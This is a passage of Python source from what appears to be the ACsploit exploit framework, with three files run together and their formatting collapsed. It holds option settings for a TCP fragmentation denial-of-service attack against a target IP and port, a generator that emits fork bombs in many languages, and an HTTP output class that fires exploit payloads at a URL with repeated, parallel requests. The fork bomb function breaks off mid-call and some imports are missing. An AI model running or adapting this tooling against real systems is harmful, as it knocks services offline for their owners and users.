import os from acsploit.options import Options import time try: default_interface = netifaces.gateways()['default'][netifaces.AF_INET][1] except Exception: default_interface = None try: is_admin = os.getuid() == 0 except AttributeError: is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0 options = Options() options.add_option('target_ip', None, 'Target IP address') options.add_option('target_port', 443, 'Target port') options.add_option('interface', default_interface, 'The local interface the attack should be sent on') options.add_option( 'simultaneous_connections', multiprocessing.cpu_count(), 'The number of simultaneous connections to maintain during the attack') options.add_option('time', 60, 'Number of seconds to perform the attack') options.add_option('payload_size', 10000, 'Size of a single attack payload, repeatedly sent') options.add_option('initial_fragmented_segments', 3000, 'Number of segments to send that are initially fragmented') options.add_option( 'response_timeout', 1, 'Time in seconds to wait for TCP handshake response from target')
import os from acsploit.options import Options options = Options() options.add_option('file_format', 'sh', 'Format for fork bomb', [ 'bash', 'bat', 'c', 'cc', 'cs', 'erl', 'fasm', 'go', 'hs', 'html', 'java', 'js', 'lsp', 'lua', 'mdb', 'php', 'pl', 'py', 'r', 'rb', 'rs', 's', 'scm', 'sh', 'vbs' ]) DESCRIPTION = 'Produces a fork bomb in one of many formats.\n\n Fork bombs cause denial of service by forking processes' \ 'infinitely, depleting available system resources. Fork bombs are also known as "rabbit viruses" or ' \ '"wabbits". ACsploit provides canned fork bombs in ' \ 'a variety of programming languages shown through the "file_format" option.' NO_INPUT = True DEFAULT_OUTPUT = 'file' DEFAULT_OUTPUT_OPTIONS = {'final_newline': False} def run(output): ret = fork_bomb(options['file_format']) output.output([ret]) # Returns contents of fork bomb with the given format. Fork bombs found at https://github.com/aaronryank/fork-bomb/ def fork_bomb(file_format): filename = 'fork-bomb.' + file_format with open( os.path.join(os.path.dirname(os.path.realpath(__file__)),
class Http: """Http class.""" OUTPUT_NAME = 'http' # exploits can use this internally to whitelist/blacklist supported output formats _SEPARATORS = { 'newline': '\n', 'comma': ',', 'space': ' ', 'tab': '\t', 'os_newline': os.linesep, 'CRLF': '\r\n', 'none': '' } def __init__(self): """Initialize the Http class.""" self.options = Options() self.options.add_option('url', 'http://127.0.0.1:80/', 'Host to connect to') self.options.add_option('separator', 'newline', 'Separator between elements', list(self._SEPARATORS.keys()), True) self.options.add_option( 'final_separator', False, 'Whether to end output with an instance of the separator') self.options.add_option('number_format', 'decimal', 'Format for numbers', ['decimal', 'hexadecimal', 'octal']) # TODO - eventually support PUT, DELETE, HEAD, and OPTIONS, since requests easily handles those self.options.add_option('http_method', 'GET', 'Type of HTTP request to make', ['POST', 'GET']) self.options.add_option('content_type', '', 'Content-Type header for the HTTP request') self.options.add_option('url_param_name', 'param', 'Name of URL arg(s) to use') self.options.add_option( 'spread_params', True, 'Put each output in its own URL arg, as opposed to all in one') self.options.add_option('use_body', False, 'Put exploit output in body, not URL args') self.options.add_option('print_request', False, 'Print HTTP request') self.options.add_option('send_request', True, 'Send HTTP request') self.options.add_option('n_requests', 1, 'Total number of times to send the request') self.options.add_option('n_parallel', 1, 'Number of requests to send simultaneously') # TODO - eventually allow printing out http response? def output(self, output_list): """Create an HTTP request and send the payload.""" url_payload = {} data_payload = '' separator = output_common.get_separator(self.options['separator'], self._SEPARATORS) if self.options['use_body']: data_payload = separator.join( [self.convert_item(item) for item in output_list]) if self.options['final_separator']: data_payload += separator else: if self.options['spread_params']: url_payload[self.options['url_param_name']] = [ self.convert_item(item) for item in output_list ] else: line = separator.join( [self.convert_item(item) for item in output_list]) if self.options['final_separator']: line += separator url_payload = {self.options['url_param_name']: line} standard_headers = { 'User-Agent': 'python-requests', 'Accept-Encoding': 'gzip, deflate', 'Connection': 'keep-alive', 'Accept': '*/*' } if self.options['content_type'] != '': standard_headers['Content-Type'] = self.options['content_type'] # Must use HTTP or HTTPS; default to http if user has not specified url = self.options['url'] if not url.startswith('http://') and not url.startswith('https://'): url = 'http://' + url req = requests.Request(self.options['http_method'], url, params=url_payload, headers=standard_headers, data=data_payload) prepared = req.prepare() if self.options['print_request']: self.pretty_print_http(prepared) if self.options['send_request'] and self.options['n_requests'] > 0: request = self.get_request(prepared) if self.options['n_requests'] == 1: print('Sending HTTP request (est. {} bytes)'.format( len(request))) self.send_request(prepared) else: pool = multiprocessing.pool.ThreadPool( self.options['n_parallel']) print('Sending {} HTTP requests (est. {} bytes each)'.format( self.options['n_requests'], len(request))) # This will send n_parallel requests at once; each thread blocks until receiving a response # Each thread continues sending requests until n_requests have been sent in total across all threads pool.map(self.send_request, [prepared] * self.options['n_requests']) pool.close() pool.join() print('All HTTP requests sent') def send_request(self, prepared_req): s = requests.Session() s.send(prepared_req) s.close() # NOTE: This is only an approximation of the request that will actually be sent # The requests API does not expose the actual bytes of a request that will be sent over the wire # If using HTTPS, will return the unencrypted HTTP payload, not the TLS payloads def get_request(self, prepared_req): _, full_url = prepared_req.url.split( '://', maxsplit=1) # Strip http:// or https:// url, _, path = full_url.partition( '/') # Requests formats the url so there should always be a '/' headers = ''.join('{}: {}\r\n'.format(k, v) for k, v in prepared_req.headers.items()) body = '' if prepared_req.body is None else prepared_req.body request = '{} /{} HTTP/1.1\r\nHost: {}\r\n{}\r\n{}'.format( prepared_req.method, path, url, headers, body) return request def pretty_print_http(self, prepared_req): """Print readable http output.""" print('-----------START-----------') print(self.get_request(prepared_req)) print('------------END------------') def convert_item(self, item): """Convert output to a str type.""" # NB: this doesn't recurse onto lists if type(item) is int: if self.options['number_format'] == 'hexadecimal': item = hex(item) elif self.options['number_format'] == 'octal': item = oct(item) return str(item)